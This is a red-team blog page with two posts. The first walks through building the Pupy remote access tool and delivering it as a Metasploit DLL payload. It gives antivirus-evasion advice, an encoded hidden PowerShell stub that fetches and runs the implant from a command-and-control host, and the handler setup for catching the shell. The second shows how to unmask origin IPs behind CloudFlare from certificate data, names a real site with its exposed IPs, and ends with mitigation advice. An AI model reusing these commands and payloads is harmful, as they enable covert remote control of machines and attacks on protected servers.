Showing posts with label redteam. Show all posts
Showing posts with label redteam. Show all posts

Wednesday, November 8, 2017

Pupy as a Metasploit Payload

Introduction

Pupy, written by N1nj4sec, is an open source, cross-platform, modular Remote Administration Tool (RAT) / post exploitation toolkit written in Python. It bundles all dependencies into a single PE or reflective DLL for execution on Windows environments. By utilizing the DLL feature, we can easily plug it into Metasploit as an exploit payload (assuming it supports dllinject as a payload). This allows us to easily shift our agents as Red Teams in order to avoid detection due to reused Indicators of Compromise (IoC)s.

Installing Pupy

We'll go ahead and grab virtualenv, if it isn't already installed. From there we'll initialize all of the submodules, and get ready to recompile the payloads. There are precompiled payloads available, but these are more likely to set off Antivirus. It's generally best practice to compile everything yourself anyways, unless you're going for anti-attribution. Yes, Blue Teams like to write people off as script kiddies too.

Note: Don't underestimate your enemy based on initial analysis.

sudo apt-get install virtualenv libssl-dev python-dev git
git clone https://github.com/n1nj4sec/pupy.git pupy
cd pupy
virtualenv ./
. ./bin/activate
git submodule init
git submodule update
pip install -r pupy/requirements.txt
If you have issues with installing M2Crypto from pip, I'd recommend installing it on your distro and use that copy. Also, remove m2crypto line from pupy/requirements.txt
sudo apt-get install python-m2crypto
ln -s /usr/lib/python2.7/dist-packages/M2Crypto lib/python2.7/site-packages/M2Crypto

Build binaries

As previously discussed, we will compile our own payload template binaries. If this is your first time running the buildenv.sh script, it will take a few minutes to grab all of the mingw packages required for cross-compiling the templates. Many of the shellcode stubs are taken directly from metasploit/meterpreter projects, and will cause AV to flag a lot of the template files. I highly recommend spending 30 minutes or so to tweak the techniques, as it will go a long way towards AV evasion. Unfortunately, there is no master config for network signatures, but all transport modules are written in Python which can be found in pupy/network/transports and are generally easy to modify.

The following commands will populate the templates located in pupy/payload_templates.

# If you don't currently have multiarch, install it now.
sudo dpkg --add-architecture i386 && sudo apt-get update
cd client/sources
./buildenv.sh
./build.sh

Generate Agent DLL

Metasploit currently requires us to generate x86 binaries, so we'll stick with that for generating our pupy dll. This will allow us to use any of Metasploit's dll stubs, or use it directly for throwing exploits. For the sake of demonstration, we will stick to executing a powershell one liner to retrieve and execute the DLL using metasploit's framework.

Generate the pupy agent using the following line. Replace the IP address with your C2 node IP or hostname.

cd ../../pupy
./pupygen.py -O windows -A x86 -f client -S --randomize-hash auto_proxy --transport http --host 192.168.1.138:8080

Start Pupy Listener

We still need to get the metasploit stub ready, but go ahead and start a pupysh session using the same transport and port from above.

./pupysh.py -t http --port 8080

Generate Agent Stub

Start up msfconsole, and generate the stub by using the following commands.

use payload/windows/dllinject/reverse_http
set DLL ~/pupy/pupy/pupyx86.AUbLKU.dll
set LHOST 192.168.1.138
set LPORT 9090
generate -t psh-cmd

If all went well, you should have something similar to the following.

powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARwA2AGcAQQAxAG8AQwBBADcAVgBXAGUAMgAvAGEAUwBCAEQALwBPADUASAA2AEgAYQB3AEsAeQBiAGIATwB3AFoARABRADkAQgBJAHAAMAB0AG0AOABiAEkAbwBKAHgARwBCAEMASwBEAG8AdAA5AHQAbwBzAHIAQgArADEAMQA0AEQAcAA5AGIAdgBmAEcATwB3ADIAVgBkAEsANwA5AHEAUwB6AHMATAB3ADcAcgA1ADMANQB6AFcATgB4ADAAOABCAG0ASgBBAHcANABqAE8ANAAxADcAdgBPAGIAOAA3AE0AaABpAHAASABQAEMAWgBWADkAaABDAFcAdQBrAHIAWABXADQAdABrAFoAawBDAHQARQA1AGUANAA0AFkAYQA1AEUAVQBTAHYAMABFAFEAawBXAHQANwBmAE4ATgBJADUAeAB3AEUANwA3AGEAaABjAHoASgBVAG0AdwB2ADYAUQBFAEoANABMAEkALwBjAFYATgBWAHoAagBHAEYALwBmAEwATgBiAFkAWgA5ADUAbQByAC8ARgBuAHQAMABuAEMASgBhAEMARwBXAE4AWgBHADkAdwB0AHkARgBFAGoAZwA1AHIAeAAvAGEASwBIAGUAbABhAGsAYQBVAE0ASQBIAC8AKwBKAEUAWAA1AHgAZgAxAFIAYgBYADkASwBVAFUAMABFAFgAZwB6AFMAeABqADIAcQB3ADYAbAB2AE0AaAA5AEUAZgBNAEQAeAAxAG0ARQBCAGQANABnAGQAaAB3AG0AbwBjAHUAcQBVAHgASgBjAFgAVgBZAG4AUQBZAEoAYwBQAEEAQgByAFcAMgB4AGcAdABnAHEAZABoAEIAYwBoAEIAdgBqAEYAbQBLAFYAeAB3AEUARQAwAHUAZgBxAEoASwBmAEMAdwBIAE0AYQBoAHIAVABoAE8AagBCAE8AUQByAGUAcgBCAE4AdAB4AGcAbwBSAEsAawBsAEUAcgBjAEgAOABLADgATwBQAHMAaABEAFIAagB4AE0AZgBBAFoAagBzAFAASQB4AFAARwBXADIARABpAHAAYQBpAGgAdwBLAEgANwBBADcAawBJAFkANABGADAAWgA4AHMAOABxAEMAYwArAFYAUQBHAHIASQBZAGwARwBDAEYATAB4AHcAMABnAGkAZABsAE8ASwBUAEgAaQArACsAZABEAE4AUABtAGcAaABQAGsAVABpAEkAKwBjAHUAYgA4AHoAZgBuAGIAcABsAGsATAA3AE8AcwA1ADAAbQBHADEAZABuADgAdQBNAGIAZwBtAGoAQQBNAEUAMwBLAFUAdQArAE4AcQBFAG0AZgBBAE0AWQBpAEYAYwBRAGIAYgB5AGoAaABPAHMAYgBqAGcANQBqAG4AZwA4ADgAVwBDAHEANgBSAFoATgBwAEIAKwByAEYAOAB2AGgAVQBIAFUAWgAwAEMAWQBXAHkARgB4AEYAcQBCAFEASgBLAEoAQwByAG4AUABxAGoAOAB1AHAAaABWADAAUwA0AEYAWQBXAEkASgAvAFkAWgBjAFUASQByADgARwBMAFgAWQBxAFAAOABWAFYATABzAFEARQA0AEoAUABBAEYAQQB6AHMAdABUAEwARwBIAFcAQQA2AFoAeABNADEAZgBxAHIAVgA5AHcAcgA3AHEAcQBpAG0AaABEAG8ANABWAEcAMQBLAFUAZwBGAGUAUQBQAGYARgA3AFoAMAA1AFoARQBIAGcAOQBNAEwAQQBQACsASgB6ADIAUABJAEQAdQBRAHAAMwBpAFUAcgBxAG8AegBhAHcAOABQAGQAKwBEAEUATgArAGsASwBFAGsAawBiAHAAaABDAG8AOQBnAFMAWgAyAEoARQBzAFMATgB4AFMAcABDAFEAZwBxAFcAawBMAEQAdwB1ACsAVwAvAHUARwBpAGwAbAB4AEUAWQBKAEsAOAAwAHQAeABCAE8ASwB4AFcAbgBOAE0ARQBoAFkAbgBOAHEAUQBNAEkAaAA4AGIARQBiAFkASgBvAGoAbQBRAEUAaQBjAFIAaAB5AHMAWgBpAGIAeAB5AGwAUAA1AFYAMgBGAG8ASQBrAHAASgA0AEkARwBsAEwAYQBRAEIASwBIAG4ANABKAHMAdgBMAEkAQQBZAEgAagB5AGsAWABxAHkAWgBtAHUAaAA5AFIANwBJAFAATQBzAFYAOAA3AEYASABuAFEAbgBVAFcAVgBIACsAcwBHAGUAZABqAGgAdgAvAGUAdgByAE8ASgBUAHkAZQBZADQAbABBAEEAOAA4AHcANgBTAGEAOQBLAFEAUwBaAHgARgBZAGcAWgBOAG4AMgBQAHEAcwAvADkAMgA5AFAATgBtAHYANgA0ADIAWQAxAHkAawBRAEMAaQA3AFkAcQA1AG0ATABLAC8AbAB5AGcAYgBsAGwAVgBqAGcAYwBZAHcAKwBaAGgAQgA1AEoAdwA1ADkARgBTAFgANAB1AG0ARwB5AEcASABBAFIAMwBzAHIAMwBwAEsAbgBBAE0AOQBNAEQAYQB0AGoAcQBoAHQAUwBWAEgAYQBuAHIAQgByAHcAVABjAHEAVwBIAHIAZgBmAE8AaAA5ADUAYQBrACsAUABXAGYAdQBVAHEAZQBxAEkAYgAyAHIAQQAxADAAcgBUAEcAdABtAGQAYQBEAFcAYQAyAGQAZgBaAGgAcQBEAE8AagAvAGIAaABlAG0ANAByADIATQBKAG0AeABKADEAMwBSAHgAcQBTADIAbQBUAFUATwBVAFkAOABjAHoATAA3AGkAegBQAGIAeQA5AFUARQA5ADcARwByAHEALwByAEQAMgBIAEgAZgBXAGMAbAAzAHYAdgBXAHMAKwAxAE4AOQAxAFMASAAvAGEASABLAG0AMQBTADkAUgB2AHQAZABQACsAVgBOADIAcAB0AFUAYgBTAEoAagB0AHQAUgBDAGEAagBUAGEALwBEAGwAagBPAEwAbwBvAGsAcgBlADQALwAxAEcAMABUADIALwBYAGgAdAAxAGMATwBsAGIAOQBXAFUANwB1AG8ASwBUAGQAOQBGAFYAbgBkAGwATwBOAGwATQBrADIAOABtACsAOAB2ADYAWQBEAHkAQgBGADcAVwBpAEsAVQBhAHUAWABMAGQAZwA3AFEASAB0AGsAbwB5ADAAbgBhAEoAYwA2ADYATQA4ADMASwAyADEAVgB2AHUAVABnADYAZABNAHUAcQB0AEgAOABpAFIAMwA1AFoAdABwAGIAMAA4AEgAbwBhAEwAMAB2AEYAVQBuAHQAKwBHAE0ATABYADgAZABXADIAYgBqAFAAZgBDAG0AeQBJAHYAYwB5AGQASAAyAFUAOQBnAGYAegBXAFoAWQBsAHEAMgBWAHIAZABZADcAUAB0AEgAYgBZAEIAZQAxAHgANwBzAEIAYgBzAG4AMQB5AFUAMgA5AE0AVgAzAHYARwBPAHAATgA1AFIAdgByADAANgBqAHIASwBXADAANABFAE0ARQA3AFUAdABRAHgANgBwAEQATgA1AEwAZABIAHUAZgA0AEUAdABoAHAAQgBZAEYAMQA2AGkAZwA2ADgAMwBHADQANwBRAHIAMwBHADkAbQBpADMAZABwAGcAbABtAG0ATABmAGQAMwBiAGEASQA1ADAAYQBBAC8AZABhAHUANQBKAGwAKwBmAGYAOQAvAFYAaABQAGoAZgBHAHMAMABWACsAMwA0AFcAcwAwAEYATwBYAHUANwBtADEAZQBHADEAQQBjAEYAWAB4ADQAbAB2AFUAZgBqAFcAZwBEAHgAYwBrAEsAVQBhAGcARwBtAEwANQBsADUAMwBYAEMAdQBGAE4ATQAxAEcARgBJAGMAZwAxAEIATwBGADYAZgBHAHgAdwBIAG0ATQBJAEYAQgBGAGQAVQBXAGMASQBLAHAAYQBHAGQAVAAvAFAAagA3AEkAVwBiADUARABUAGYARgA5AEMAQgBFADEAaABlAFgAYgA2ADYARQByAG0AdgBnAHUASwAzAE8AVgArAFMAYgBtACsAZgB3AEUAdABvAGkAdwAyAHEAOQBuAEgAZwBzAFoAVgBVADIAMQAvAFYAYQBqAEMAMABhAC8AdABHAEQAUwBMADgAKwBiAGkAYQBZAFoAUQBKAFkARQBqAEsAUgB6ADYAQQBjAHIASgBLAGoAMQBiAEYAdgBFADAAcQBTAC8AVAAvAEEAbABXADAANQBnAG8AKwB6AHIAOABCADkAWQAzADIARAA5AHkAZgBBAHEAOABtADUAYwBHACsASQBIADUAUAArAEMAVQBrAGYAegBuAHcASwBTAEkATQBKAEUAMgBZAEwAUgBTAGYANwByAFQAWAA0AHkAOQBxADQAdABtAEYAdgAwAFMAUQBjAGIAZAA0ADgAcgA5AGEAOQB5AG0ANwBHAE0AQwAvAGcATAA4AEIAbgBDAG4AbQBUAHQAQQBKAEEAQQBBAD0AJwAnACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA==

Set up Payload Delivery in Metasploit

Now, we need to setup a multi handler for delivering the DLL payload to the target. After the dll is delivered and executed, check back in your pupy tab for a shell.

use exploit/multi/handler
set payload windows/dllinject/reverse_http
set LHOST 192.168.1.138
set LPORT 9090
exploit

Get Shells

Execute the powershell stub that we generated above on a Windows machine, and enjoy your pupy shell delivered by Metasploit.

Tuesday, October 3, 2017

Exposing Server IPs Behind CloudFlare

Introduction

CloudFlare is a complete solution offering Content Deliver Network (CDN) style capabilities along with Web Application Firewalls (WAF). It's also a market leading solution for Distributed Denial of Service (DDoS) mitigation for websites. CloudFlare works by placing its server arrays in front of a website and determines whether or not to allow traffic to pass through. For a more detailed listing of capabilities, please read CloudFlare's own Blog.

In order for the system to remain effective, all traffic must pass through the CloudFlare network. If we are able to directly connect to end systems, we can often bypass the WAF or target specific systems for traffic shaping or DoS attacks.

Existing Techniques

There has been some effort in the past to unmask servers hiding behind CloudFlare. One website in particular maintains a database of IPs that appear to have been exposed. Not all of their techniques are public, and there appears to be a large gap in most of their data.

Many have also used historical DNS records to track previously exposed systems. Forcing a server to send an e-mail for user registration or mailing lists can also expose backend infrastructure. These techniques also create some gaps, and you may only be able to find an IP or two that is still relevant.

Synopsis

When you use CloudFlare to front your website, an SSL/TLS certificate is automatically registered by CloudFlare for your domain. This means that traffic going to your site is initially encrypted when it hits CloudFlare's servers. From there, traffic may very well be in plain text back to your server. Many sites opt to have their own certificates to protect the second half of the transaction.

In order to maintain a trusted certificate, you must prove to some level of degree that you are the owner of a domain. This burden of proof, and trust mechanism makes it easy to associate true server IPs to CloudFlare protected domains. By utilizing large data sets that have been scraped from the Internet, it's possible to find non-CloudFlare servers by associating previously generated certificates with live hosts.

Censys.io

Censys.io is a great resource that relies on data sets from Scans.io. Both are incredible repositories of information that have been gathered by scanning the Internet at regular intervals. There are multiple types of scans from dns and ftp to http/https scans of all public IPv4 space. Censys has graciously offered a public API for researchers to use. We are going to use the scraped certificates from across the Internet to identify potential servers hiding behind CloudFlare.

Cloudsnare

You'll need to utilize your API credentials after registering with Censys. These can be found under My Account. The only Python requirement is censys's maintained PIP package.

pip install censys

Example

./cloudsnare.py zoomit.ir
Certificates:
        Host: *.zoomit.ir zoomit.ir
        Fingerprint: 40b4b7b947cfe8fa96bf8b13244a6d0f535e372be455b8144cf12d5edfd5a490
Hosts: 40b4b7b947cfe8fa96bf8b13244a6d0f535e372be455b8144cf12d5edfd5a490
        Found host: 192.95.47.224
        Found host: 94.182.183.50

Examining Top Domains

I downloaded a top million list of domains from Statvoo. From there, I extracted the top 50k domain names, and ran scans to see which domains were using cloudflare. I stopped the scanning once the list was close to 9000 (9038). I then modified the cloudsnare script to add a soft form of rate-limiting. The numbers are not exact, as I did hit a few exceptions here and there in the script, but I was able to observe at least 1842 domains that leak some sort of IP address based on public certificate data. That's right at ~20% of top domains being affected. Note: I did not go through and check every domain for types of systems exposed, or weed out any false positives.

List of domains

Mitigation

CloudFlare has a great blog post about keeping your IP space private. You should restrict inbound traffic to your HTTP/HTTPs ports, and only allow connections from CloudFlare IPs. If you are worried about CloudFlare changing IP space, you can use your host's default domain while registering certificates. For instance in AWS, you might have an issued domain from your service provider similar to ec2-54-78-80-22.us-west-2.compute.amazonaws.com. Traffic will still be encrypted between your host and CloudFlare, but won't expose any of your systems to this technique.

References